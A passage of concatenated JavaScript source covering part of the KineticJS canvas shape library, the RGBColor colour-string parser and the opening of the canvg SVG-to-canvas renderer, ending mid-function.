return this.getTouchPosition() || this.getMousePosition();
},
/**
* set mouse positon for desktop apps
* @param {Event} evt
*/
_setMousePosition: function(evt){
var mouseX = evt.clientX - this._getContainerPosition().left + window.pageXOffset;
var mouseY = evt.clientY - this._getContainerPosition().top + window.pageYOffset;
this.mousePos = {
x: mouseX,
y: mouseY
};
},
/**
* set touch position for mobile apps
* @param {Event} evt
*/
_setTouchPosition: function(evt){
if (evt.touches !== undefined && evt.touches.length === 1) {// Only deal with
// one finger
var touch = evt.touches[0];
// Get the information for finger #1
var touchX = touch.clientX - this._getContainerPosition().left + window.pageXOffset;
var touchY = touch.clientY - this._getContainerPosition().top + window.pageYOffset;
this.touchPos = {
x: touchX,
y: touchY
};
}
},
/**
* get container position
*/
_getContainerPosition: function(){
var obj = this.container;
var top = 0;
var left = 0;
while (obj && obj.tagName !== "BODY") {
top += obj.offsetTop;
left += obj.offsetLeft;
obj = obj.offsetParent;
}
return {
top: top,
left: left
};
},
/**
* get container DOM element
*/
getContainer: function(){
return this.container;
},
/**
* get stage
*/
getStage: function(){
return this;
},
/**
* get target shape
*/
getTargetShape: function(){
return this.targetShape;
}
};
// extend Container
Kinetic.GlobalObject.extend(Kinetic.Stage, Kinetic.Container);
///////////////////////////////////////////////////////////////////////
// Layer
///////////////////////////////////////////////////////////////////////
/**
* Layer constructor. Layer extends Container and Node
* @param {string} name
*/
Kinetic.Layer = function(config){
this.className = "Layer";
this.canvas = document.createElement('canvas');
this.context = this.canvas.getContext('2d');
this.canvas.style.position = 'absolute';
// call super constructors
Kinetic.Container.apply(this, []);
Kinetic.Node.apply(this, [config]);
};
/*
* Layer methods
*/
Kinetic.Layer.prototype = {
/**
* public draw children
*/
draw: function(){
this._draw();
},
/**
* private draw children
*/
_draw: function(){
this.clear();
if (this.visible) {
this._drawChildren();
}
},
/**
* clear layer
*/
clear: function(){
var context = this.getContext();
var canvas = this.getCanvas();
context.clearRect(0, 0, canvas.width, canvas.height);
},
/**
* get layer canvas
*/
getCanvas: function(){
return this.canvas;
},
/**
* get layer context
*/
getContext: function(){
return this.context;
},
/**
* add node to layer
* @param {Node} node
*/
add: function(child){
this._add(child);
},
/**
* remove a child from the layer
* @param {Node} child
*/
remove: function(child){
this._remove(child);
}
};
// Extend Container and Node
Kinetic.GlobalObject.extend(Kinetic.Layer, Kinetic.Container);
Kinetic.GlobalObject.extend(Kinetic.Layer, Kinetic.Node);
///////////////////////////////////////////////////////////////////////
// Group
///////////////////////////////////////////////////////////////////////
/**
* Group constructor. Group extends Container and Node
* @param {String} name
*/
Kinetic.Group = function(config){
this.className = "Group";
// call super constructors
Kinetic.Container.apply(this, []);
Kinetic.Node.apply(this, [config]);
};
Kinetic.Group.prototype = {
/**
* draw children
*/
_draw: function(){
if (this.visible) {
this._drawChildren();
}
},
/**
* add node to group
* @param {Node} child
*/
add: function(child){
this._add(child);
},
/**
* remove a child from the group
* @param {Node} child
*/
remove: function(child){
this._remove(child);
}
};
// Extend Container and Node
Kinetic.GlobalObject.extend(Kinetic.Group, Kinetic.Container);
Kinetic.GlobalObject.extend(Kinetic.Group, Kinetic.Node);
///////////////////////////////////////////////////////////////////////
// Shape
///////////////////////////////////////////////////////////////////////
/**
* Shape constructor
* @param {Object} config
*/
Kinetic.Shape = function(config){
this.className = "Shape";
// required
this.drawFunc = config.drawFunc;
// optional
this.fill = config.fill;
this.stroke = config.stroke;
this.strokeWidth = config.strokeWidth;
// call super constructor
Kinetic.Node.apply(this, [config]);
};
/*
* Shape methods
*/
Kinetic.Shape.prototype = {
/**
* get shape temp layer context
*/
getContext: function(){
return this.tempLayer.getContext();
},
/**
* get shape temp layer canvas
*/
getCanvas: function(){
return this.tempLayer.getCanvas();
},
/**
* draw shape
* @param {Layer} layer
*/
_draw: function(layer){
if (this.visible) {
var stage = layer.getStage();
var context = layer.getContext();
var family = [];
family.unshift(this);
var parent = this.parent;
while (parent.className !== "Stage") {
family.unshift(parent);
parent = parent.parent;
}
// children transforms
for (var n = 0; n < family.length; n++) {
var obj = family[n];
context.save();
if (obj.x !== 0 || obj.y !== 0) {
context.translate(obj.x, obj.y);
}
if (obj.centerOffset.x !== 0 || obj.centerOffset.y !== 0) {
context.translate(obj.centerOffset.x, obj.centerOffset.y);
}
if (obj.rotation !== 0) {
context.rotate(obj.rotation);
}
if (obj.scale.x !== 1 || obj.scale.y !== 1) {
context.scale(obj.scale.x, obj.scale.y);
}
if (obj.centerOffset.x !== 0 || obj.centerOffset.y !== 0) {
context.translate(-1 * obj.centerOffset.x, -1 * obj.centerOffset.y);
}
if (obj.getAbsoluteAlpha() !== 1) {
context.globalAlpha = obj.getAbsoluteAlpha();
}
}
// stage transform
context.save();
if (stage && (stage.scale.x !== 1 || stage.scale.y !== 1)) {
context.scale(stage.scale.x, stage.scale.y);
}
this.tempLayer = layer;
this.drawFunc.call(this);
// children restore
for (var i = 0; i < family.length; i++) {
context.restore();
}
// stage restore
context.restore();
}
}
};
// extend Node
Kinetic.GlobalObject.extend(Kinetic.Shape, Kinetic.Node);
///////////////////////////////////////////////////////////////////////
// Geometry
///////////////////////////////////////////////////////////////////////
/**
* Geometry constructor
* @param {Object} config
* @param {function} drawFunc
*/
Kinetic.Geometry = function(config){
this.fill = config.fill;
this.stroke = config.stroke;
this.strokeWidth = config.strokeWidth;
// call super constructor
Kinetic.Shape.apply(this, [config]);
};
/*
* Geometry methods
*/
Kinetic.Geometry.prototype = {
_fillStroke: function(){
var context = this.getContext();
// optional properties
if (this.fill) {
context.fillStyle = this.fill;
context.fill();
}
if (this.stroke) {
context.lineWidth = this.strokeWidth === undefined ? 1 : this.strokeWidth;
context.strokeStyle = this.stroke;
context.stroke();
}
},
/*
* set fill which can be a color, gradient object,
* or pattern object
*/
setFill: function(fill){
this.fill = fill;
},
/*
* get fill
*/
getFill: function(){
return this.fill;
},
/*
* set stroke color
*/
setStroke: function(stroke){
this.stroke = stroke;
},
/*
* get stroke
*/
getStroke: function(){
return this.stroke;
},
/*
* set stroke width
*/
setStrokeWidth: function(strokeWidth){
this.strokeWidth = strokeWidth;
},
/*
* get stroke width
*/
getStrokeWidth: function(){
return this.strokeWidth;
}
};
// extend Shape
Kinetic.GlobalObject.extend(Kinetic.Geometry, Kinetic.Shape);
///////////////////////////////////////////////////////////////////////
// Rect
///////////////////////////////////////////////////////////////////////
/**
* Rect constructor
* @param {Object} config
*/
Kinetic.Rect = function(config){
this.width = config.width;
this.height = config.height;
config.drawFunc = function(){
var canvas = this.getCanvas();
var context = this.getContext();
context.beginPath();
context.rect(0, 0, this.width, this.height);
context.closePath();
this._fillStroke();
};
// call super constructor
Kinetic.Geometry.apply(this, [config]);
};
/*
* Rect methods
*/
Kinetic.Rect.prototype = {
setWidth: function(width){
this.width = width;
},
getWidth: function(){
return this.width;
},
setHeight: function(height){
this.height = height;
},
getHeight: function(){
return this.height;
},
/**
* set width and height
* @param {number} width
* @param {number} height
*/
setSize: function(width, height){
this.width = width;
this.height = height;
}
};
// extend Geometry
Kinetic.GlobalObject.extend(Kinetic.Rect, Kinetic.Geometry);
///////////////////////////////////////////////////////////////////////
// Circle
///////////////////////////////////////////////////////////////////////
/**
* Circle constructor
* @param {Object} config
*/
Kinetic.Circle = function(config){
this.radius = config.radius;
config.drawFunc = function(){
var canvas = this.getCanvas();
var context = this.getContext();
context.beginPath();
context.arc(0, 0, this.radius, 0, Math.PI * 2, true);
context.closePath();
this._fillStroke();
};
// call super constructor
Kinetic.Geometry.apply(this, [config]);
};
/*
* Circle methods
*/
Kinetic.Circle.prototype = {
setRadius: function(radius){
this.radius = radius;
},
getRadius: function(){
return this.radius;
}
};
// extend Geometry
Kinetic.GlobalObject.extend(Kinetic.Circle, Kinetic.Geometry);
///////////////////////////////////////////////////////////////////////
// Image
///////////////////////////////////////////////////////////////////////
/**
* Image constructor
* @param {Object} config
*/
Kinetic.Image = function(config){
this.image = config.image;
// defaults
this.width = config.width !== undefined ? config.width : config.image.width;
this.height = config.height !== undefined ? config.height : config.image.height;
config.drawFunc = function(){
var canvas = this.getCanvas();
var context = this.getContext();
context.beginPath();
context.rect(0, 0, this.width, this.height);
context.closePath();
this._fillStroke();
context.drawImage(this.image, 0, 0, this.width, this.height);
};
// call super constructor
Kinetic.Geometry.apply(this, [config]);
};
Kinetic.Image.prototype = {
setImage: function(image){
this.image = image;
},
getImage: function(image){
return this.image;
},
setWidth: function(width){
this.width = width;
},
getWidth: function(){
return this.width;
},
setHeight: function(height){
this.height = height;
},
getHeight: function(){
return this.height;
},
/**
* set width and height
* @param {number} width
* @param {number} height
*/
setSize: function(width, height){
this.width = width;
this.height = height;
}
};
// extend Geometry
Kinetic.GlobalObject.extend(Kinetic.Image, Kinetic.Geometry);
///////////////////////////////////////////////////////////////////////
// Polygon
///////////////////////////////////////////////////////////////////////
/**
* Polygon constructor
* @param {Object} config
*/
Kinetic.Polygon = function(config){
this.points = config.points;
config.drawFunc = function(){
var context = this.getContext();
context.beginPath();
context.moveTo(this.points[0].x, this.points[0].y);
for (var n = 1; n < this.points.length; n++) {
context.lineTo(this.points[n].x, this.points[n].y);
}
context.closePath();
this._fillStroke();
};
// call super constructor
Kinetic.Geometry.apply(this, [config]);
};
// extend Geometry
Kinetic.GlobalObject.extend(Kinetic.Polygon, Kinetic.Geometry);
///////////////////////////////////////////////////////////////////////
// RegularPolygon
///////////////////////////////////////////////////////////////////////
/**
* Polygon constructor
* @param {Object} config
*/
Kinetic.RegularPolygon = function(config){
this.points = config.points;
this.radius = config.radius;
this.sides = config.sides;
config.drawFunc = function(){
var context = this.getContext();
context.beginPath();
context.moveTo(0, 0 - this.radius);
for (var n = 1; n < config.sides; n++) {
var x = this.radius * Math.sin(n * 2 * Math.PI / this.sides);
var y = -1 * this.radius * Math.cos(n * 2 * Math.PI / this.sides);
context.lineTo(x, y);
}
context.closePath();
this._fillStroke();
};
// call super constructor
Kinetic.Geometry.apply(this, [config]);
};
/*
* RegularPolygon methods
*/
Kinetic.RegularPolygon.prototype = {
setPoints: function(points){
this.points = points;
},
getPoints: function(){
return this.points;
},
setRadius: function(radius){
this.radius = radius;
},
getRadius: function(){
return this.radius;
},
setSides: function(sides){
this.sides = sides;
},
getSides: function(){
return this.sides;
}
};
// extend Geometry
Kinetic.GlobalObject.extend(Kinetic.RegularPolygon, Kinetic.Geometry);
///////////////////////////////////////////////////////////////////////
// Star
///////////////////////////////////////////////////////////////////////
/**
* Star constructor
* @param {Object} config
*/
Kinetic.Star = function(config){
this.points = config.points;
this.outerRadius = config.outerRadius;
this.innerRadius = config.innerRadius;
config.drawFunc = function(){
var context = this.getContext();
context.beginPath();
context.moveTo(0, 0 - this.outerRadius);
for (var n = 1; n < config.points * 2; n++) {
var radius = n % 2 === 0 ? this.outerRadius : this.innerRadius;
var x = radius * Math.sin(n * Math.PI / this.points);
var y = -1 * radius * Math.cos(n * Math.PI / this.points);
context.lineTo(x, y);
}
context.closePath();
this._fillStroke();
};
// call super constructor
Kinetic.Geometry.apply(this, [config]);
};
/*
* Star methods
*/
Kinetic.Star.prototype = {
setPoints: function(points){
this.points = points;
},
getPoints: function(){
return this.points;
},
setOuterRadius: function(radius){
this.outerRadius = radius;
},
getOuterRadius: function(){
return this.outerRadius;
},
setInnerRadius: function(radius){
this.innerRadius = radius;
},
getInnerRadius: function(){
return this.innerRadius;
}
};
// extend Geometry
Kinetic.GlobalObject.extend(Kinetic.Star, Kinetic.Geometry);
| JavaScript |
/**
* A class to parse color values
* @author Stoyan Stefanov <sstoo@gmail.com>
* @link http://www.phpied.com/rgb-color-parser-in-javascript/
* @license Use it if you like it
*/
function RGBColor(color_string)
{
this.ok = false;
// strip any leading #
if (color_string.charAt(0) == '#') { // remove # if any
color_string = color_string.substr(1,6);
}
color_string = color_string.replace(/ /g,'');
color_string = color_string.toLowerCase();
// before getting into regexps, try simple matches
// and overwrite the input
var simple_colors = {
aliceblue: 'f0f8ff',
antiquewhite: 'faebd7',
aqua: '00ffff',
aquamarine: '7fffd4',
azure: 'f0ffff',
beige: 'f5f5dc',
bisque: 'ffe4c4',
black: '000000',
blanchedalmond: 'ffebcd',
blue: '0000ff',
blueviolet: '8a2be2',
brown: 'a52a2a',
burlywood: 'deb887',
cadetblue: '5f9ea0',
chartreuse: '7fff00',
chocolate: 'd2691e',
coral: 'ff7f50',
cornflowerblue: '6495ed',
cornsilk: 'fff8dc',
crimson: 'dc143c',
cyan: '00ffff',
darkblue: '00008b',
darkcyan: '008b8b',
darkgoldenrod: 'b8860b',
darkgray: 'a9a9a9',
darkgreen: '006400',
darkkhaki: 'bdb76b',
darkmagenta: '8b008b',
darkolivegreen: '556b2f',
darkorange: 'ff8c00',
darkorchid: '9932cc',
darkred: '8b0000',
darksalmon: 'e9967a',
darkseagreen: '8fbc8f',
darkslateblue: '483d8b',
darkslategray: '2f4f4f',
darkturquoise: '00ced1',
darkviolet: '9400d3',
deeppink: 'ff1493',
deepskyblue: '00bfff',
dimgray: '696969',
dodgerblue: '1e90ff',
feldspar: 'd19275',
firebrick: 'b22222',
floralwhite: 'fffaf0',
forestgreen: '228b22',
fuchsia: 'ff00ff',
gainsboro: 'dcdcdc',
ghostwhite: 'f8f8ff',
gold: 'ffd700',
goldenrod: 'daa520',
gray: '808080',
green: '008000',
greenyellow: 'adff2f',
honeydew: 'f0fff0',
hotpink: 'ff69b4',
indianred : 'cd5c5c',
indigo : '4b0082',
ivory: 'fffff0',
khaki: 'f0e68c',
lavender: 'e6e6fa',
lavenderblush: 'fff0f5',
lawngreen: '7cfc00',
lemonchiffon: 'fffacd',
lightblue: 'add8e6',
lightcoral: 'f08080',
lightcyan: 'e0ffff',
lightgoldenrodyellow: 'fafad2',
lightgrey: 'd3d3d3',
lightgreen: '90ee90',
lightpink: 'ffb6c1',
lightsalmon: 'ffa07a',
lightseagreen: '20b2aa',
lightskyblue: '87cefa',
lightslateblue: '8470ff',
lightslategray: '778899',
lightsteelblue: 'b0c4de',
lightyellow: 'ffffe0',
lime: '00ff00',
limegreen: '32cd32',
linen: 'faf0e6',
magenta: 'ff00ff',
maroon: '800000',
mediumaquamarine: '66cdaa',
mediumblue: '0000cd',
mediumorchid: 'ba55d3',
mediumpurple: '9370d8',
mediumseagreen: '3cb371',
mediumslateblue: '7b68ee',
mediumspringgreen: '00fa9a',
mediumturquoise: '48d1cc',
mediumvioletred: 'c71585',
midnightblue: '191970',
mintcream: 'f5fffa',
mistyrose: 'ffe4e1',
moccasin: 'ffe4b5',
navajowhite: 'ffdead',
navy: '000080',
oldlace: 'fdf5e6',
olive: '808000',
olivedrab: '6b8e23',
orange: 'ffa500',
orangered: 'ff4500',
orchid: 'da70d6',
palegoldenrod: 'eee8aa',
palegreen: '98fb98',
paleturquoise: 'afeeee',
palevioletred: 'd87093',
papayawhip: 'ffefd5',
peachpuff: 'ffdab9',
peru: 'cd853f',
pink: 'ffc0cb',
plum: 'dda0dd',
powderblue: 'b0e0e6',
purple: '800080',
red: 'ff0000',
rosybrown: 'bc8f8f',
royalblue: '4169e1',
saddlebrown: '8b4513',
salmon: 'fa8072',
sandybrown: 'f4a460',
seagreen: '2e8b57',
seashell: 'fff5ee',
sienna: 'a0522d',
silver: 'c0c0c0',
skyblue: '87ceeb',
slateblue: '6a5acd',
slategray: '708090',
snow: 'fffafa',
springgreen: '00ff7f',
steelblue: '4682b4',
tan: 'd2b48c',
teal: '008080',
thistle: 'd8bfd8',
tomato: 'ff6347',
turquoise: '40e0d0',
violet: 'ee82ee',
violetred: 'd02090',
wheat: 'f5deb3',
white: 'ffffff',
whitesmoke: 'f5f5f5',
yellow: 'ffff00',
yellowgreen: '9acd32'
};
for (var key in simple_colors) {
if (color_string == key) {
color_string = simple_colors[key];
}
}
// emd of simple type-in colors
// array of color definition objects
var color_defs = [
{
re: /^rgb\((\d{1,3}),\s*(\d{1,3}),\s*(\d{1,3})\)$/,
example: ['rgb(123, 234, 45)', 'rgb(255,234,245)'],
process: function (bits){
return [
parseInt(bits[1]),
parseInt(bits[2]),
parseInt(bits[3])
];
}
},
{
re: /^(\w{2})(\w{2})(\w{2})$/,
example: ['#00ff00', '336699'],
process: function (bits){
return [
parseInt(bits[1], 16),
parseInt(bits[2], 16),
parseInt(bits[3], 16)
];
}
},
{
re: /^(\w{1})(\w{1})(\w{1})$/,
example: ['#fb0', 'f0f'],
process: function (bits){
return [
parseInt(bits[1] + bits[1], 16),
parseInt(bits[2] + bits[2], 16),
parseInt(bits[3] + bits[3], 16)
];
}
}
];
// search through the definitions to find a match
for (var i = 0; i < color_defs.length; i++) {
var re = color_defs[i].re;
var processor = color_defs[i].process;
var bits = re.exec(color_string);
if (bits) {
channels = processor(bits);
this.r = channels[0];
this.g = channels[1];
this.b = channels[2];
this.ok = true;
}
}
// validate/cleanup values
this.r = (this.r < 0 || isNaN(this.r)) ? 0 : ((this.r > 255) ? 255 : this.r);
this.g = (this.g < 0 || isNaN(this.g)) ? 0 : ((this.g > 255) ? 255 : this.g);
this.b = (this.b < 0 || isNaN(this.b)) ? 0 : ((this.b > 255) ? 255 : this.b);
// some getters
this.toRGB = function () {
return 'rgb(' + this.r + ', ' + this.g + ', ' + this.b + ')';
}
this.toHex = function () {
var r = this.r.toString(16);
var g = this.g.toString(16);
var b = this.b.toString(16);
if (r.length == 1) r = '0' + r;
if (g.length == 1) g = '0' + g;
if (b.length == 1) b = '0' + b;
return '#' + r + g + b;
}
// help
this.getHelpXML = function () {
var examples = new Array();
// add regexps
for (var i = 0; i < color_defs.length; i++) {
var example = color_defs[i].example;
for (var j = 0; j < example.length; j++) {
examples[examples.length] = example[j];
}
}
// add type-in colors
for (var sc in simple_colors) {
examples[examples.length] = sc;
}
var xml = document.createElement('ul');
xml.setAttribute('id', 'rgbcolor-examples');
for (var i = 0; i < examples.length; i++) {
try {
var list_item = document.createElement('li');
var list_color = new RGBColor(examples[i]);
var example_div = document.createElement('div');
example_div.style.cssText =
'margin: 3px; '
+ 'border: 1px solid black; '
+ 'background:' + list_color.toHex() + '; '
+ 'color:' + list_color.toHex()
;
example_div.appendChild(document.createTextNode('test'));
var list_item_value = document.createTextNode(
' ' + examples[i] + ' -> ' + list_color.toRGB() + ' -> ' + list_color.toHex()
);
list_item.appendChild(example_div);
list_item.appendChild(list_item_value);
xml.appendChild(list_item);
} catch(e){}
}
return xml;
}
}
| JavaScript |
/*
* canvg.js - Javascript SVG parser and renderer on Canvas
* MIT Licensed
* Gabe Lerner (gabelerner@gmail.com)
* http://code.google.com/p/canvg/
*
* Requires: rgbcolor.js - http://www.phpied.com/rgb-color-parser-in-javascript/
*/
if(!window.console) {
window.console = {};
window.console.log = function(str) {};
window.console.dir = function(str) {};
}
if(!Array.prototype.indexOf){
Array.prototype.indexOf = function(obj){
for(var i=0; i<this.length; i++){
if(this[i]==obj){
return i;
}
}
return -1;
}
}
(function(){
// canvg(target, s)
// empty parameters: replace all 'svg' elements on page with 'canvas' elements
// target: canvas element or the id of a canvas element
// s: svg string, url to svg file, or xml document
// opts: optional hash of options
// ignoreMouse: true => ignore mouse events
// ignoreAnimation: true => ignore animations
// ignoreDimensions: true => does not try to resize canvas
// ignoreClear: true => does not clear canvas
// offsetX: int => draws at a x offset
// offsetY: int => draws at a y offset
// scaleWidth: int => scales horizontally to width
// scaleHeight: int => scales vertically to height
// renderCallback: function => will call the function after the first render is completed
// forceRedraw: function => will call the function on every frame, if it returns true, will redraw
this.canvg = function (target, s, opts) {
// no parameters
if (target == null && s == null && opts == null) {
var svgTags = document.getElementsByTagName('svg');
for (var i=0; i<svgTags.length; i++) {
var svgTag = svgTags[i];
var c = document.createElement('canvas');
c.width = svgTag.clientWidth;
c.height = svgTag.clientHeight;
svgTag.parentNode.insertBefore(c, svgTag);
svgTag.parentNode.removeChild(svgTag);
var div = document.createElement('div');
div.appendChild(svgTag);
canvg(c, div.innerHTML);
}
return;
}
opts = opts || {};
if (typeof target == 'string') {
target = document.getElementById(target);
}
// reuse class per canvas
var svg;
if (target.svg == null) {
svg = build();
target.svg = svg;
}
else {
svg = target.svg;
svg.stop();
}
svg.opts = opts;
var ctx = target.getContext('2d');
if (typeof(s.documentElement) != 'undefined') {
// load from xml doc
svg.loadXmlDoc(ctx, s);
}
else if (s.substr(0,1) == '<') {
// load from xml string
svg.loadXml(ctx, s);
}
else {
// load from url
svg.load(ctx, s);
}
}
function build() {
var svg = { };
svg.FRAMERATE = 30;
svg.MAX_VIRTUAL_PIXELS = 30000;
// globals
svg.init = function(ctx) {
svg.Definitions = {};
svg.Styles = {};
svg.Animations = [];
svg.Images = [];
svg.ctx = ctx;
svg.ViewPort = new (function () {
this.viewPorts = [];
this.Clear = function() { this.viewPorts = []; }
this.SetCurrent = function(width, height) { this.viewPorts.push({ width: width, height: height }); }
this.RemoveCurrent = function() { this.viewPorts.pop(); }
this.Current = function() { return this.viewPorts[this.viewPorts.length - 1]; }
this.width = function() { return this.Current().width; }
this.height = function() { return this.Current().height; }
this.ComputeSize = function(d) {
if (d != null && typeof(d) == 'number') return d;
if (d == 'x') return this.width();
if (d == 'y') return this.height();
return Math.sqrt(Math.pow(this.width(), 2) + Math.pow(this.height(), 2)) / Math.sqrt(2);
}
});
}
svg.init();
// images loaded
svg.ImagesLoaded = function() {
for (var i=0; i<svg.Images.length; i++) {
if (!svg.Images[i].loaded) return false;
}
return true;
}
// trim
svg.trim = function(s) { return s.replace(/^\s+|\s+$/g, ''); }
// compress spaces
svg.compressSpaces = function(s) { return s.replace(/[\s\r\t\n]+/gm,' '); }
// ajax
svg.ajax = function(url) {
var AJAX;
if(window.XMLHttpRequest){AJAX=new XMLHttpRequest();}
else{AJAX=new ActiveXObject('Microsoft.XMLHTTP');}
if(AJAX){
AJAX.open('GET',url,false);
AJAX.send(null);
return AJAX.responseText;
}
return null;
}
// parse xml
svg.parseXml = function(xml) {
if (window.DOMParser)
{
var parser = new DOMParser();
return parser.parseFromString(xml, 'text/xml');
}
else
{
xml = xml.replace(/<!DOCTYPE svg[^>]*>/, '');
var xmlDoc = new ActiveXObject('Microsoft.XMLDOM');
xmlDoc.async = 'false';
xmlDoc.loadXML(xml);
return xmlDoc;
}
}
svg.Property = function(name, value) {
this.name = name;
this.value = value;
this.hasValue = function() {
return (this.value != null && this.value !== '');
}
// return the numerical value of the property
this.numValue = function() {
if (!this.hasValue()) return 0;
var n = parseFloat(this.value);
if ((this.value + '').match(/%$/)) {
n = n / 100.0;
}
return n;
}
this.valueOrDefault = function(def) {
if (this.hasValue()) return this.value;
return def;
}
this.numValueOrDefault = function(def) {
if (this.hasValue()) return this.numValue();
return def;
}
/* EXTENSIONS */
var that = this;
// color extensions
this.Color = {
// augment the current color value with the opacity
addOpacity: function(opacity) {
var newValue = that.value;
if (opacity != null && opacity != '') {
var color = new RGBColor(that.value);
if (color.ok) {
newValue = 'rgba(' + color.r + ', ' + color.g + ', ' + color.b + ', ' + opacity + ')';
}
}
return new svg.Property(that.name, newValue);
}
}
// definition extensions
this.Definition = {
// get the definition from the definitions table
getDefinition: function() {
var name = that.value.replace(/^(url\()?#([^\)]+)\)?$/, '$2');
return svg.Definitions[name];
},
isUrl: function() {
return that.value.indexOf('url(') == 0
},
getFillStyle: function(e) {
var def = this.getDefinition();
// gradient
if (def != null && def.createGradient) {
return def.createGradient(svg.ctx, e);
}
// pattern
if (def != null && def.createPattern) {
return def.createPattern(svg.ctx, e);
}
return null;
}
}
// length extensions
this.Length = {
DPI: function(viewPort) {
return 96.0; // TODO: compute?
},
EM: function(viewPort) {
var em = 12;
var fontSize = new svg.Property('fontSize', svg.Font.Parse(svg.ctx.font).fontSize);
if (fontSize.hasValue()) em = fontSize.Length.toPixels(viewPort);
return em;
},
// get the length as pixels
toPixels: function(viewPort) {
if (!that.hasValue()) return 0;
var s = that.value+'';
if (s.match(/em$/)) return that.numValue() * this.EM(viewPort);
if (s.match(/ex$/)) return that.numValue() * this.EM(viewPort) / 2.0;
if (s.match(/px$/)) return that.numValue();
if (s.match(/pt$/)) return that.numValue() * 1.25;
if (s.match(/pc$/)) return that.numValue() * 15;
if (s.match(/cm$/)) return that.numValue() * this.DPI(viewPort) / 2.54;
if (s.match(/mm$/)) return that.numValue() * this.DPI(viewPort) / 25.4;
if (s.match(/in$/)) return that.numValue() * this.DPI(viewPort);
if (s.match(/%$/)) return that.numValue() * svg.ViewPort.ComputeSize(viewPort);
return that.numValue();
}
}
// time extensions
this.Time = {
// get the time as milliseconds
toMilliseconds: function() {
if (!that.hasValue()) return 0;
var s = that.value+'';
if (s.match(/s$/)) return that.numValue() * 1000;
if (s.match(/ms$/)) return that.numValue();
return that.numValue();
}
}
// angle extensions
this.Angle = {
// get the angle as radians
toRadians: function() {
if (!that.hasValue()) return 0;
var s = that.value+'';
if (s.match(/deg$/)) return that.numValue() * (Math.PI / 180.0);
if (s.match(/grad$/)) return that.numValue() * (Math.PI / 200.0);
if (s.match(/rad$/)) return that.numValue();
return that.numValue() * (Math.PI / 180.0);
}
}
}
// fonts
svg.Font = new (function() {
this.Styles = ['normal','italic','oblique','inherit'];
this.Variants = ['normal','small-caps','inherit'];
this.Weights = ['normal','bold','bolder','lighter','100','200','300','400','500','600','700','800','900','inherit'];
this.CreateFont = function(fontStyle, fontVariant, fontWeight, fontSize, fontFamily, inherit) {
var f = inherit != null ? this.Parse(inherit) : this.CreateFont('', '', '', '', '', svg.ctx.font);
return {
fontFamily: fontFamily || f.fontFamily,
fontSize: fontSize || f.fontSize,
fontStyle: fontStyle || f.fontStyle,
fontWeight: fontWeight || f.fontWeight,
fontVariant: fontVariant || f.fontVariant,
toString: function () { return [this.fontStyle, this.fontVariant, this.fontWeight, this.fontSize, this.fontFamily].join(' ') }
}
}
var that = this;
this.Parse = function(s) {
var f = {};
var d = svg.trim(svg.compressSpaces(s || '')).split(' ');
var set = { fontSize: false, fontStyle: false, fontWeight: false, fontVariant: false }
var ff = '';
for (var i=0; i<d.length; i++) {
if (!set.fontStyle && that.Styles.indexOf(d[i]) != -1) { if (d[i] != 'inherit') f.fontStyle = d[i]; set.fontStyle = true; }
else if (!set.fontVariant && that.Variants.indexOf(d[i]) != -1) { if (d[i] != 'inherit') f.fontVariant = d[i]; set.fontStyle = set.fontVariant = true; }
else if (!set.fontWeight && that.Weights.indexOf(d[i]) != -1) { if (d[i] != 'inherit') f.fontWeight = d[i]; set.fontStyle = set.fontVariant = set.fontWeight = true; }
else if (!set.fontSize) { if (d[i] != 'inherit') f.fontSize = d[i].split('/')[0]; set.fontStyle = set.fontVariant = set.fontWeight = set.fontSize = true; }
else { if (d[i] != 'inherit') ff += d[i]; }
} if (ff != '') f.fontFamily = ff;
return f;
}
});
// points and paths
svg.ToNumberArray = function(s) {
var a = svg.trim(svg.compressSpaces((s || '').replace(/,/g, ' '))).split(' ');
for (var i=0; i<a.length; i++) {
a[i] = parseFloat(a[i]);
}
return a;
}
svg.Point = function(x, y) {
this.x = x;
this.y = y;
this.angleTo = function(p) {
return Math.atan2(p.y - this.y, p.x - this.x);
}
this.applyTransform = function(v) {
var xp = this.x * v[0] + this.y * v[2] + v[4];
var yp = this.x * v[1] + this.y * v[3] + v[5];
this.x = xp;
this.y = yp;
}
}
svg.CreatePoint = function(s) {
var a = svg.ToNumberArray(s);
return new svg.Point(a[0], a[1]);
}
svg.CreatePath = function(s) {
var a = svg.ToNumberArray(s);
var path = [];
for (var i=0; i<a.length; i+=2) {
path.push(new svg.Point(a[i], a[i+1]));
}
return path;
}
// bounding box
svg.BoundingBox = function(x1, y1, x2, y2) { // pass in initial points if you want
this.x1 = Number.NaN;
this.y1 = Number.NaN;
this.x2 = Number.NaN;
this.y2 = Number.NaN;
this.x = function() { return this.x1; }
this.y = function() { return this.y1; }
this.width = function() { return this.x2 - this.x1; }
this.height = function() { return this.y2 - this.y1; }
this.addPoint = function(x, y) {
if (x != null) {
if (isNaN(this.x1) || isNaN(this.x2)) {
this.x1 = x;
this.x2 = x;
}
if (x < this.x1) this.x1 = x;
if (x > this.x2) this.x2 = x;
}
if (y != null) {
if (isNaN(this.y1) || isNaN(this.y2)) {
this.y1 = y;
this.y2 = y;
}
if (y < this.y1) this.y1 = y;
if (y > this.y2) this.y2 = y;
}
}
this.addX = function(x) { this.addPoint(x, null); }
this.addY = function(y) { this.addPoint(null, y); }
this.addBoundingBox = function(bb) {
this.addPoint(bb.x1, bb.y1);
this.addPoint(bb.x2, bb.y2);
}
this.addQuadraticCurve = function(p0x, p0y, p1x, p1y, p2x, p2y) {
var cp1x = p0x + 2/3 * (p1x - p0x); // CP1 = QP0 + 2/3 *(QP1-QP0)
var cp1y = p0y + 2/3 * (p1y - p0y); // CP1 = QP0 + 2/3 *(QP1-QP0)
var cp2x = cp1x + 1/3 * (p2x - p0x); // CP2 = CP1 + 1/3 *(QP2-QP0)
var cp2y = cp1y + 1/3 * (p2y - p0y); // CP2 = CP1 + 1/3 *(QP2-QP0)
this.addBezierCurve(p0x, p0y, cp1x, cp2x, cp1y, cp2y, p2x, p2y);
}
this.addBezierCurve = function(p0x, p0y, p1x, p1y, p2x, p2y, p3x, p3y) {
// from http://blog.hackers-cafe.net/2009/06/how-to-calculate-bezier-curves-bounding.html
var p0 = [p0x, p0y], p1 = [p1x, p1y], p2 = [p2x, p2y], p3 = [p3x, p3y];
this.addPoint(p0[0], p0[1]);
this.addPoint(p3[0], p3[1]);
for (i=0; i<=1; i++) {
var f = function(t) {
return Math.pow(1-t, 3) * p0[i]
+ 3 * Math.pow(1-t, 2) * t * p1[i]
+ 3 * (1-t) * Math.pow(t, 2) * p2[i]
+ Math.pow(t, 3) * p3[i];
}
var b = 6 * p0[i] - 12 * p1[i] + 6 * p2[i];
